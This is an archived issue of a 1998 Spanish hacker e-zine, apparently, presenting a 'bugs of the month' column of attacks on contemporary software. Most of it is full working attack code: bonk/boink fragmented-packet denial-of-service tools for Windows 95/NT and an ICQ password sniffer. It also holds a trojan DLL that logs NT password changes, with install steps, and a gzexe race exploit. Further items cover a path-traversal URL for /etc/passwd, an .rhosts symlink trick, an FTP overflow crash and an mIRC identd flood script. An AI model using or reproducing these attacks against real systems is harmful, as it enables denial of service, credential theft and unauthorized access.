SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

SET 13

58002 visitas

Los bugs del mes

      2703

Autor: SET Staff
-[ 0x09 ]--------------------------------------------------------------------
-[ LOS BUGS DEL MES ]--------------------------------------------------------
-[ by SET Staff ]-----------------------------------------------------SET-13-

Para     : Windows 95/NT
Tema     : Pantallazo azul
Patch    : En el mismo site de siempre
Creditos : Bendi

<++> exploits/bonk.c
/*


                                ==bendi - 1998==

                        bonk.c        -         5/01/1998
        Based On: teardrop.c by route|daemon9 & klepto
        Crashes *patched* win95/(NT?) machines.

        Basically, we set the frag offset > header length (teardrop
        reversed). There are many theories as to why this works,
        however i do not have the resources to perform extensive testing.
        I make no warranties. Use this code at your own risk.
        Rip it if you like, i've had my fun.

*/

#include <stdio.h>
#include <string.h>

#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_udp.h>
#include <netinet/protocols.h>
#include <arpa/inet.h>

#define FRG_CONST       0x3
#define PADDING         0x1c

struct udp_pkt
{
        struct iphdr    ip;
        struct udphdr   udp;
        char data[PADDING];
} pkt;

int     udplen=sizeof(struct udphdr),
        iplen=sizeof(struct iphdr),
        datalen=100,
        psize=sizeof(struct udphdr)+sizeof(struct iphdr)+PADDING,
        spf_sck;                        /* Socket */

void usage(void)
{
        fprintf(stderr, "Usage: ./bonk <src_addr> <dst_addr> [num]\n");
        exit(0);
}

u_long host_to_ip(char *host_name)
{
        static  u_long ip_bytes;
        struct hostent *res;

        res = gethostbyname(host_name);
        if (res == NULL)
                return (0);
        memcpy(&ip_bytes, res->h_addr, res->h_length);
        return (ip_bytes);
}

void quit(char *reason)
{
        perror(reason);
        close(spf_sck);
        exit(-1);
}

int fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt,
           int dst_prt)
{
        int     bs;
        struct  sockaddr_in to;

        memset(&pkt, 0, psize);
                                                /* Fill in ip header */
        pkt.ip.version = 4;
        pkt.ip.ihl = 5;
        pkt.ip.tot_len = htons(udplen + iplen + PADDING);
        pkt.ip.id = htons(0x455);
        pkt.ip.ttl = 255;
        pkt.ip.protocol = IP_UDP;
        pkt.ip.saddr = src_addr;
        pkt.ip.daddr = dst_addr;
        pkt.ip.frag_off = htons(0x2000);        /* more to come */

        pkt.udp.source = htons(src_prt);        /* udp header */
        pkt.udp.dest = htons(dst_prt);
        pkt.udp.len = htons(8 + PADDING);
                                                /* send 1st frag */

        to.sin_family = AF_INET;
        to.sin_port = src_prt;
        to.sin_addr.s_addr = dst_addr;

        bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
                sizeof(struct sockaddr));

        pkt.ip.frag_off = htons(FRG_CONST + 1);         /* shinanigan */
        pkt.ip.tot_len = htons(iplen + FRG_CONST);
                                                        /* 2nd frag */

        bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0,
                (struct sockaddr *) &to, sizeof(struct sockaddr));

        return bs;
}

void main(int argc, char *argv[])
{
        u_long  src_addr,
                dst_addr;

        int     i,
                src_prt=53,
                dst_prt=53,
                bs = 1,
                pkt_count = 10;         /* Default amount */

        if (argc < 3)
                usage();

        if (argc == 4)
                pkt_count = atoi(argv[3]);      /* 10 does the trick */

        /* Resolve hostnames */

        src_addr = host_to_ip(argv[1]);
        if (!src_addr)
                quit("bad source host");
        dst_addr = host_to_ip(argv[2]);
        if (!dst_addr)
                quit("bad target host");

        spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
        if (!spf_sck)
                quit("socket()");
        if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
        sizeof(bs)) < 0)
                quit("IP_HDRINCL");

        for (i = 0; i < pkt_count; ++i)
        {
                fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt);
                usleep(10000);
        }

        printf("Done.\n");
}
<-->

Descripcion y Notas:

Este codigo se presenta como modificacion al Teardrop de Route. Se basa
en indicar un desplazamiento mayor que la longitud de la cabecera. El
resultado: pantallazo azul en las maquinas que tengan instalado Windows 95
o Windows NT, por mucho que tengan el parche anti-Nuke.


Para     : Windows 95/NT
Tema     : Pantallazo azul
Patch    : Donde si no?
Creditos : Defile

<++> exploits/boink.c
/*
  boink.c - a modified bonk.c
  
    
                                ==bendi - 1998==

                        bonk.c        -         5/01/1998
        Based On: teardrop.c by route|daemon9 & klepto
        Crashes *patched* win95/(NT?) machines.

        Basically, we set the frag offset > header length (teardrop
        reversed). There are many theories as to why this works,
        however i do not have the resources to perform extensive testing.
        I make no warranties. Use this code at your own risk.
        Rip it if you like, i've had my fun.

    Modified by defile(efnet) [9/01/98]
        
        As it stood before, bonk.c just simply attacked port 55.
        Upon scanning my associates, I've noticed port 55 isn't
        always open. It varies in fact, while other ports remain
        open and vulnerable to this attack. I realized that Microsoft
        just might fix this by blocking port 55 off or something
        completely lame like that, and that is unacceptable.
        
        As of this modification, you provide both a "start" and a
        "stop" port to test for the weakness, in the attempt to catch
        a possibly open port. (I've noticed port 55 seemed to come open
        more frequently on machines that were running IE though)
        
        Hopefully this will encourage Microsoft to write a REAL fix
        instead of just make lackey fixes as they've had in the past.
        
        Please only use this to test your own systems for vulnerability,
        and if it is, bitch at Microsoft for a fix. I am not responsible
        for any damage that may come and as stated above by the
        author, this might not even work. I make no claims
        to the ownership to any portions of this source in any way.
        
        
*/

#include <stdio.h>
#include <string.h>

#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_udp.h>
#include <netinet/protocols.h>
#include <arpa/inet.h>

#define FRG_CONST       0x3
#define PADDING         0x1c

struct udp_pkt
{
        struct iphdr    ip;
        struct udphdr   udp;
        char data[PADDING];
} pkt;

int     udplen=sizeof(struct udphdr),
        iplen=sizeof(struct iphdr),
        datalen=100,
        psize=sizeof(struct udphdr)+sizeof(struct iphdr)+PADDING,
        spf_sck;                        /* Socket */

void usage(void)
{
        /* fprintf(stderr, "Usage: ./bonk <src_addr> <dst_addr> [num]\n"); */
        fprintf (stderr, "Usage: ./boink <src_addr> <dst_addr> <start_port> <stop_port> [num]\n");
        exit(0);
}

u_long host_to_ip(char *host_name)
{
        static  u_long ip_bytes;
        struct hostent *res;

        res = gethostbyname(host_name);
        if (res == NULL)
                return (0);
        memcpy(&ip_bytes, res->h_addr, res->h_length);
        return (ip_bytes);
}

void quit(char *reason)
{
        perror(reason);
        close(spf_sck);
        exit(-1);
}

int fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt,
           int dst_prt)
{
        int     bs;
        struct  sockaddr_in to;

        memset(&pkt, 0, psize);
                                                /* Fill in ip header */
        pkt.ip.version = 4;
        pkt.ip.ihl = 5;
        pkt.ip.tot_len = htons(udplen + iplen + PADDING);
        pkt.ip.id = htons(0x455);
        pkt.ip.ttl = 255;
        pkt.ip.protocol = IP_UDP;
        pkt.ip.saddr = src_addr;
        pkt.ip.daddr = dst_addr;
        pkt.ip.frag_off = htons(0x2000);        /* more to come */

        pkt.udp.source = htons(src_prt);        /* udp header */
        pkt.udp.dest = htons(dst_prt);
        pkt.udp.len = htons(8 + PADDING);
                                                /* send 1st frag */

        to.sin_family = AF_INET;
        to.sin_port = src_prt;
        to.sin_addr.s_addr = dst_addr;

        bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
                sizeof(struct sockaddr));

        pkt.ip.frag_off = htons(FRG_CONST + 1);         /* shinanigan */
        pkt.ip.tot_len = htons(iplen + FRG_CONST);
                                                        /* 2nd frag */

        bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0,
                (struct sockaddr *) &to, sizeof(struct sockaddr));

        return bs;
}

void main(int argc, char *argv[])
{
        u_long  src_addr,
                dst_addr;

        int     i,
               /* src_prt = 55,
                  dst_prt = 55, */ 
                start_port,
                stop_port,
                bs = 1,
                pkt_count;

        if (argc < 5)
                usage();

        start_port = (u_short) atoi (argv[ 3 ]);
        stop_port = (u_short) atoi (argv[ 4 ]);        
        if (argc == 6)
              pkt_count = atoi (argv[ 5 ]);
        
        
        if (start_port >= stop_port ||
            stop_port <= start_port) {
                
                start_port = 25;
                stop_port = 65;
        
        }
        
            
        if (pkt_count == 0)	pkt_count = 10;
        
        /* Resolve hostnames */

        src_addr = host_to_ip(argv[1]);
        if (!src_addr)
                quit("bad source host");
        dst_addr = host_to_ip(argv[2]);
        if (!dst_addr)
                quit("bad target host");

        spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
        if (!spf_sck)
                quit("socket()");
        if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
        sizeof(bs)) < 0)
                quit("IP_HDRINCL");

        for (i = 0; i < pkt_count; ++i)
        {
                int j;
                
                printf ("(%d)%s:%d->%d\n", i, argv[ 2 ], start_port, stop_port);
                
                for (j = start_port; j != stop_port; j++) {
                
                 /* fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt); */
                    fondle (spf_sck, src_addr, dst_addr, j, j);

                }
                usleep(10000);
        }

        printf("Done.\n");
}
<-->

Descripcion y Notas:

Una modificacion sobre el codigo del Bonk. Altera el puerto sobre el que
se realiza el ataque, siendo originariamente el 55. Las posibilidades de
exito de un ataque usando Bonk o Boink se incrementan si la victima esta
usando Internet Explorer.


Para     : Mirabilis ICQ
Tema     : Inseguridad ICQ
Patch    : Pregunta en Mirabilis, a ver que tal.
Creditos : Alan

<++> exploits/icq_snf.c
/*


The first flaw is plain dumb. They send plaintext authentication. Not only
that they send it once per session.

The second flaw is that they use easily guessable sequence numbers - starting
from 0 each user session, they use UDP and to make life even easier their
query service will tell you exactly what IP address to spoof as source when
faking them. So you can find someone is on, find their IP and spoof sequences
0->100 with a fair bet that somewhere before the 100th fake message you'll
get several hits and spoof messages. If not you can winnuke the victim so
he'll be back on a low sequence number 8)

Let us hope the proposed Rendezvous Protocol that is supposed to become
an internet draft is better designed and that the ICQ people switch to it.
There really is no excuse for using crude plaintext and simplistic sequence
spaces when five minutes thought could have resolved almost every weakness
except password change without US export controlled crypto.

I've enclosed a demo that does password sniffing for ICQ. It requires you
can work out how to set it up and it doesnt including spoofing code.

Alan

*/

/*
 *      Snoop ICQ traffic for a set host. Shows how simplistic ICQ is and
 *      how easy it is to snoop it.
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <ctype.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <linux/ip.h>
#include <linux/udp.h>

/*
 *      PUT THE IP ADDRESS OF THE CLIENT TO SNOOP HERE OR IT WONT WORK
 */

#define MY_CLIENT_TO_WATCH      0x7F000001

static int create_socket(void)
{
        int s=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));
        if(s==-1)
        {
                perror("socket");
                exit(1);
        }
        return s;
}

static void close_socket(int s)
{
        close(s);
}

static void promiscuous(int s, char *iface, int onoff)
{
        struct ifreq ifr;
        strcpy(ifr.ifr_name, iface);

        if(ioctl(s, SIOCGIFFLAGS, &ifr)==-1)
        {
                perror("SIOCGIFFLAGS");
                exit(1);
        }

        strcpy(ifr.ifr_name, iface);
        if(onoff)
                ifr.ifr_flags|=IFF_PROMISC;
        else
                ifr.ifr_flags&=~IFF_PROMISC;
        if(ioctl(s, SIOCSIFFLAGS, &ifr)==-1)
        {
                perror("SIOCSIFFLAGS");
                exit(1);
        }
}

static __inline__ ip_p(unsigned char *packet, int len)
{
        if(packet[12]==0x08 && packet[13]==0x00)
                return 1;
        return 0;
}

struct icqhdr
{
        unsigned char version[2] __attribute((packed)); /* ?? */
        unsigned short command __attribute((packed));
        unsigned short sequence __attribute((packed));
        unsigned long uid __attribute((packed));
        unsigned char data[0];
};

struct icqack
{
        unsigned char version[2] __attribute((packed)); /* ?? */
        unsigned short result __attribute((packed));
        unsigned short sequence __attribute((packed));
        unsigned char data[0];
};

struct icqstring
{
        unsigned short len;
        char data[0];
};

struct icqlogin
{
        struct icqhdr hdr __attribute((packed));
        unsigned long dunno __attribute((packed)); /* 000006FE.L */
        unsigned short pw_len __attribute((packed));
        unsigned char pw_data[11] __attribute((packed));
        struct in_addr addr __attribute((packed));
        /* Rest is a mystery right now */
        /* 0.L */
        /* 2.L */
        /* 0000004C, 00000000 */
        /* 00 78 */
};

static void print_icq_string(struct icqstring *s)
{
        fwrite(s->data, s->len-1, 1, stdout);
}

/*
 *      Scan a packet for clues
 */

static int process_packet(struct sockaddr *sa, unsigned char *packet, int len)
{
        int i;
        int lv;
        int d=0;
        static long num=0;
        struct iphdr *iph;
        struct udphdr *udphdr;
        if(strcmp(sa->sa_data,"eth0"))
                return 0;               /* Wrong port */
        if(!ip_p(packet, len))
                return 0;

        iph=(struct iphdr *)(packet+14);
        udphdr=(struct udphdr *)(iph+1);
        /* assume no options */

        lv=ntohs(udphdr->len);

        if( udphdr->source !=htons(4000) && udphdr->dest!=htons(4000))
        {
                return 0;
        }

/*      printf("packet %d   \r", ++num);*/

        if(iph->saddr==htonl(MY_CLIENT_TO_WATCH))
        {
                printf("To Server: %d bytes\n", lv);
        }
        else if(iph->daddr==htonl(MY_CLIENT_TO_WATCH))
        {
                printf("From Server: %d bytes\n", lv);
                d=1;
        }
        else return 0;

        i=14+sizeof(struct iphdr);
        if(len-i>lv)
                len=i+lv;

        i+=sizeof(struct udphdr);

/*      printf("UDP size %d\n",i);*/
        if(i>=sizeof(struct icqhdr)+sizeof(struct udphdr))
        {
                struct icqhdr *p=(struct icqhdr *)(udphdr+1);
                if(d==0)
                {
                        printf("From %ld\n",p->uid);
                        printf("Version: %d.%d\nCommand ",
                                p->version[1], p->version[0]);
                        switch(p->command)
                        {
                                case 0x000A:
                                        printf("Ack");
                                        break;
                                case 0x03E8:
                                {
                                        struct icqlogin *il=(struct icqlogin *)p;
                                        printf("Login Password ");
                                        print_icq_string((struct icqstring *)&il->pw_len);
                                        printf(" IP %s", inet_ntoa(il->addr));
                                        break;
                                }
#if 0
                                case 0x0x??
                                {
                                        struct in_addr v=*(struct in_addr *)p->data;
                                        printf("Ping %s", inet_ntoa(v));
                                        break;
                                }
#endif
                                case 0x409:
                                {
                                        printf("Ping");
                                        break;
                                }
                                case 0x0438:
                                {
                                        struct icqstring *s=(struct icqstring *)p->data;
                                        printf("Disconnect (");
                                        print_icq_string(s);
                                        printf(")");
                                        break;
                                }
                                case 0x0456:
                                {
                                        /* data +4,5 is always 0100 */
                                        struct icqstring *s=(struct icqstring *)(p->data+6);
                                        printf("Message to %ld  ", *((long *)p->data));
                                        print_icq_string(s);
                                        break;
                                }
                                case 0x0460:
                                {
                                        printf("Information %ld on ID %d",
                                                *((short *)p->data),
                                                *((long *)(p->data+2))
                                        );
                                        break;
                                }
                                case 0x046A:
                                {
                                        printf("Information_2 %ld on ID %d",
                                                *((short *)p->data),
                                                *((long *)(p->data+2))
                                        );
                                        break;
                                }
                                case 0x04D8:
                                {
                                        printf("Status ");
                                        switch(*((long *)p->data))
                                        {
                                                case 0x00:
                                                        printf("[Away 0]");
                                                        break;
                                                case 0x01:
                                                        printf("[Away 1]");
                                                        break;
                                                case 0x10:
                                                        printf("[DND 0]");
                                                        break;
                                                case 0x11:
                                                        printf("[DND 1]");
                                                        break;
                                                default:
                                                        printf("%04X",
                                                                *((long *)p->data));
                                        }

                                        break;
                                }
                                default:
                                        printf("%04X", p->command);
                        }
                        if(p->sequence)
                                printf("\nSequence %d\n",
                                        p->sequence);
                        else
                                printf("\n");
                }
        }
        if(i>=sizeof(struct icqack)+sizeof(struct udphdr))
        {
                struct icqack *p=(struct icqack *)(udphdr+1);
                if(d==1)
                {
                        printf("Version: %d.%d\nReply ",
                                p->version[1], p->version[0]);
                        switch(p->result)
                        {
                                case 0x000A:
                                        printf("Ack");
                                        break;

                                case 0x00E6:
                                        printf("Away Reply ");
                                        printf("for %ld",
                                                *((long *)p->data));
                                        break;

                                case 0x0118:
                                {
                                        struct icqstring *is;
                                        printf("InfoID %d\n",
                                                *((short *)p->data));
                                        printf("ICQ ID %ld\n",
                                                *((long *)p->data+2));
                                        is=(struct icqstring *)(p->data+6);
                                        printf("Nick ");
                                        print_icq_string(is);
                                        is=(struct icqstring *)(((char *)is)+is->len+2);
                                        printf("\nName ");
                                        print_icq_string(is);
                                        is=(struct icqstring *)(((char *)is)+is->len+2);
                                        printf(" ");
                                        print_icq_string(is);
                                        is=(struct icqstring *)(((char *)is)+is->len+2);
                                        printf("\nEMail ");
                                        print_icq_string(is);
                                        is=(struct icqstring *)(((char *)is)+is->len+2);
                                        printf("\nInfo ");
                                        print_icq_string(is);
                                        break;
                                }
                                default:
                                        printf("%04X", p->result);
                        }
                        if(p->sequence)
                                printf("\nSequence %d\n",
                                        p->sequence);
                        else
                                printf("\n");
                }
        }

        while(i<len)
        {
                int x;
                for(x=0; x<8 && i+x<len; x++)
                {
                        printf("%02X ", packet[i+x]);
                }
                printf("    ");
                for(x=0;x<8 && i+x<len; x++)
                {
                        unsigned char c=packet[i+x];
                        if(c>=32 && c< 127)
                                printf("%c", c);
                        else
                                printf(".");
                }
                printf("\n");
                i+=8;
        }
        printf("\n");
        fflush(stdout);
        return 0;
}

int main(int argc, char *argv[])
{
        int s;
        unsigned char buf[1600];
        struct sockaddr sa;
        int salen;
        int len;

        s=create_socket();
        promiscuous(s, "eth0", 1);

        while(1)
        {
                salen=sizeof(sa);
                if((len=recvfrom(s, (char *)buf, 1600, 0, &sa, &salen))==-1)
                {
                        perror("recvfrom");
                        close_socket(s);
                        exit(1);
                }
                process_packet(&sa, buf,len);
        }
        printf("An error has occured.\n");
        close_socket(s);
        exit(0);
}
<-->

Descripcion y Notas:

Este programa sirve para espiar la informacion que se envia cuando se activa
el ICQ. El desarrollo del programa ha sido para demostrar la falta de
seguridad que existe en la especificacion del protocolo ICQ. Como vosotros
mismos comprobareis al leer los comentarios que acompa€an al codigo
fuente, la seguridad del protocolo ICQ es mas bien nula.


Para     : Windows NT
Tema     : Ejecucion de programas sin privilegios
Patch    : Linux ;)
Creditos : Espera que lo busco

1.- Copia el programa en cuestion con el nombre loquesea.txt
2.- Lanza un shell de DOS
3.- Teclea: start loquesea.txt

Descripcion y Notas:

Este bug se aprovecha de que cuando se ejecuta un programa desde el shell
de comandos usando start, es el propio sistema quien lanza la ejecucion. Y
como el sistema ha de tener privilegios...


Para     : Windows NT 4.0
Tema     : Obtencion de claves
Patch    : En la descripcion lo teneis
Creditos : Jeremy Allison

<++> exploits/fpnwclnt.c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

struct UNI_STRING {
USHORT len;
USHORT maxlen;
WCHAR *buff;
};

static HANDLE fh;

BOOLEAN __stdcall InitializeChangeNotify ()
{
DWORD wrote;
fh = CreateFile("C:\\temp\\pwdchange.out",
GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
0,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH,
0);
WriteFile(fh, "InitializeChangeNotify started\n", 31, &wrote, 0);
return TRUE;
}

LONG __stdcall PasswordChangeNotify (
struct UNI_STRING *user,
ULONG rid,
struct UNI_STRING *passwd
)
{
DWORD wrote;
WCHAR wbuf[200];
char buf[512];
char buf1[200];
DWORD len;

memcpy(wbuf, user->buff, user->len);
len = user->len/sizeof(WCHAR);
wbuf[len] = 0;
wcstombs(buf1, wbuf, 199);
sprintf(buf, "User = %s : ", buf1);
WriteFile(fh, buf, strlen(buf), &wrote, 0);

memcpy(wbuf, passwd->buff, passwd->len);
len = passwd->len/sizeof(WCHAR);
wbuf[len] = 0;
wcstombs(buf1, wbuf, 199);
sprintf(buf, "Password = %s : ", buf1);
WriteFile(fh, buf, strlen(buf), &wrote, 0);

sprintf(buf, "RID = %x\n", rid);
WriteFile(fh, buf, strlen(buf), &wrote, 0);

return 0L;
}
<-->

Descripcion y Notas:

En los sistemas de red basados en Windows NT existe una clave dentro del
registro que indica una DLL que gestiona el acceso al equipo. Si modificamos
la DLL de tal forma que capture las password en texto en claro, tenemos
un caballo de troya para NT. Y eso es ni mas ni menos lo que hace el
fuente fpnwclnt.c
La clave del registro afectada es:

        HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA

con el siguiente valor:

        Notification Packages: REG_MULTI_SZ: FPNWCLNT

La DLL esta ubicada en %SYSTEMROOT%\System32\fpnwclnt.dll
Asi que compilamos el fuente como si de una DLL se tratase y sustituimos
la original por el troyano.
La forma de protegerse es tan simple como eliminar esa entrada del registro,
y proteger la clave contra escritura.


Para     : gzexe
Tema     : Segun se use
Patch    : No usar gzexe para comprimir ejecutables
Creditos : Michal Zalewski

<++> exploits/gzexe
#!/bin/bash
# GZEXE executables exploit (gzip 1.2.4)
# by Michal Zalewski (lcamtuf@staszic.waw.pl)
# ---------------------------------------------

VICTIM=/bin/ping
GZEXED=a.out

# Note: to locate gzexed executables you may use this:
# find / -type f -exec grep "/tmp/gztmp\\\$\\\$ \\\$" {} \; -print|cut -f 1 -d " "

if [ ! -f $VICTIM ]; then
  echo "I can't find my victim ($VICTIM)..."
  exit 0
fi

ORIG=`ls -l $VICTIM|awk '{print \$5}'`

echo "GZEXE exploit launched against $VICTIM ($ORIG bytes)."

renice +20 $PPID >&/dev/null
cd /tmp
touch $GZEXED

while :; do

  START=`ps|awk '$6=="ps"{print $1}'`
  
  let START=START+100
  let DO=START+100

  while [ "$START" -lt "$DO" ]; do
    ln $VICTIM gztmp$START &>/dev/null
    let START=START+1
  done

  sleep 10
  rm -f gztmp* &>/dev/null

  NOWY=`ls -l $VICTIM|awk '{print \$5}'`

  if [ ! "$ORIG" = "$NOWY" ]; then
    echo "Done, my master."
    exit 0
  fi
  
done
<-->

Descripcion y Notas:

Para los que no lo conozcan, gzexe es parte del software incluido en el
gzip. Se usa para comprimir ejecutables, de la misma forma que el pklite
para DOS. El problema aparece en parte del script que se usa en la
descompresion del programa:

if /usr/bin/tail +$skip $0 | "/usr/bin"/gzip -cd > /tmp/gztmp$$; then...
[...]                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
/tmp/gztmp$$ ${1+"$@"}; res=$?
^^^^^^^^^^^^

Como se puede comprobar al observar el script, podemos sobreescribir
cualquier fichero con el codigo el programa comprimido cuando lo lanze
el root. Esto puede ser facilmente aprovechado, forzando, por ejemplo,
la ejecucion de nuestro propio codigo en vez del original.


Para     : htmlscript
Tema     : Otro bug raro
Patch    : Lo mas seguro en su WebSite (www.htmlscript.com)
Creditos : Dennis Moore

http://www.victima.com/cgi-bin/htmlscript?../../../../etc/passwd

Descripcion y Notas:

Usando la anterior URL podemos conseguir cualquier fichero que se encuentre
en el servidor conociendo su ruta.


Para     : Microsoft Exchange Server
Tema     : Ejecucion de cualquier programa
Patch    : A partir de la version 5.5
Creditos : Quien da la vez?

Descripcion y Notas:

Cuando se envia una cadena larga (muy larga) en el campo HELO y en el MAIL
FROM, se produce un stack overflow. Evidentemente, el sevidor se cae.
Mucho cuidado con este bug, que tirar sitios a lo loco no es de hackers,
sino mas bien de lamers.


Para     : Digital Unix 4.0
Tema     : Remote Host
Patch    : Quizas en Digital?
Creditos : Low Noise

Descripcion y Notas:

Al ejecutar el programa fstab, se obtiene el fichero fstab.advfsd.lockfile en
el directorio temporal. En este archivo se recoge informacion sobre el
sistema de archivos y las particiones del sistema. Si antes de que se cree,
ejecutamos la siguiente orden:

        ln -s /.rhosts /tmp/fstab.advfsd.lockfile

y despues de la ejecucion de fstab tecleamos:

        cat "+ +" > /tmp/fstab.advfsd.lockfile

Os imaginais ya lo que se puede hacer? ;)


Para     : Windows 95/NT
Tema     : Colgar el servidor de FTP
Patch    : Billy... estas ahi?
Creditos : El siguiente !!!

Descripcion y Notas:

El demonio del War FTPD para Windows 95 y NT posee, entre otros, un fallo
de seguridad producido por un desbordamiento en el buffer, que permite
a un usuario remoto ejecutar codigo, o simplemente, colgar el servidor.

La forma de preceder es realizar un telnet a la maquina, al puerto de
FTP (21), dando los siguientes comandos al conectarse:

USER xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
PASS xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Donde xxxx... es una cadena todo lo larga que querais. Cuanto mayor, mejor.


Para     : mIRC 5.3x identd server
Tema     : Bloqueo del servidor
Patch    : Aqui mismo. Donde si no?
Creditos : Karl Strasse

1.- Realiza 6 telnet al puerto 113 al host
2.- Ya esta !!!

Descripcion y Notas:

Al parecer, cuando se realizan los 6 telnets al puerto 113, el host puede
llegar a bloquearse. La forma de detectar si alguien esta usando un identd
server es realizar un /whois. Si esta ejecutando un identd server, entonces
aparecera una ~ en su userid.

Aqui teneis el patch, proporcionado tambien por Karl. Se trata de un script
que detecta y envia peticiones ident.

<++> exploits/ident.ini
[script]
n0=# Karls mIRC 5.3x nuke detector b2  and tester
n1=#Send your comments or bugs to kss@usa.net or talk to  me on Undernet with /msg Karls
n2=#----------------------------------------------------------
n3=#NOTE: YOU NEED mIRC 5.3 or 5.31 to use ALL the following scripts.
n4=#NOTE2:Without wanting I found other bug on mIRC, the on socklisten don't tell you the ip of the person
n5=#              who sent the request, but your ip :o). So.. I made this script to accept the ident request,  
n6=#              it'll tell you the ip of the nuker when the nuker closes the connection.
n7=#---------------------------------------------------------
n8=# This script will open port 113 to detect any identd requests, be sure to be running mIRC 5.3 or 5.31.
n9=# If you want to get protected against identd nukers just type    /identd off
n10=# Usage: To start the identd nuke detector type    /load -rs ident.ini    to load this file in your mIRC .
n11=# Type    /identd off    to close the mIRC identd server
n12=# And    /cidos on   to start the new nuke detector. To close the detector type   /cidos off
n13=
n14=alias cidos {
n15=  if ($1 == on) { socklisten ident 113 | echo 4 $active @POWerSocKETs@ Karls mIRC 5.3x nuke detector loaded! }
n16=  if ($1 == off) { sockclose ident | echo 4 $active @POWerSocKETs@ Karls mIRC 5.3x nuke detector was closed. }
n17=  if (($1 != off) && ($1 != on)) echo 4 $active @POWerSocKETs@ Usage /cidos on|off
n18=}
n19=
n20=on 1:socklisten:ident: {
n21=  if ($sockerr > 0) return
n22=  sockaccept $sockname $+ $rand(1,10000)
n23=}
n24=on 1:sockclose:ident*: {
n25=  if ($sockerr > 0) return
n26=  echo 4 $active @POWerSocKETs@ $sock($sockname).ip Sent you an ident request
n27=}
n28=#This script was made to show the mIRC 5.3x bug just type    /idos host   to stop if type /idos off
n29=#You need to load this script using mIRC 5.3 or 5.31
n30=
n31=alias idos {
n32=  if ($1 == off) { sockclose bug* | echo 4 $active @POWerSocKETs@ Connections closed }
n33=  if (($1 != off) && (. !isin $1)) { echo 4 $active @POWerSocKETs@ Usage: /idos host|off | halt } 
n34=  if ($1 != off) { echo 4 $active @POWerSocKETs@ Sending ident requests to $1 
n35=    sockopen bug $+ $rand(1,10000) $1 113 | sockopen bug $+ $rand(1,10000) $1 113 | sockopen bug $+ $rand(1,10000) $1 113 | sockopen bug $+ $rand(1,10000) $1 113 | sockopen bug $+ $rand(1,10000) $1 113 | sockopen bug $+ $rand(1,10000) $1 113 | sockopen bug $+ $rand(1,10000) $1 113
n36=  }
n37=}
n38=on 1:sockclose:bug*: {
n39=  if ($sockerr > 0) return
n40=  echo 4 $active @POWerSocKETs@ Connection to $sock($sockname).name $sock($sockname).ip was lost. Type    /idosn host    to send another request.
n41=}
<-->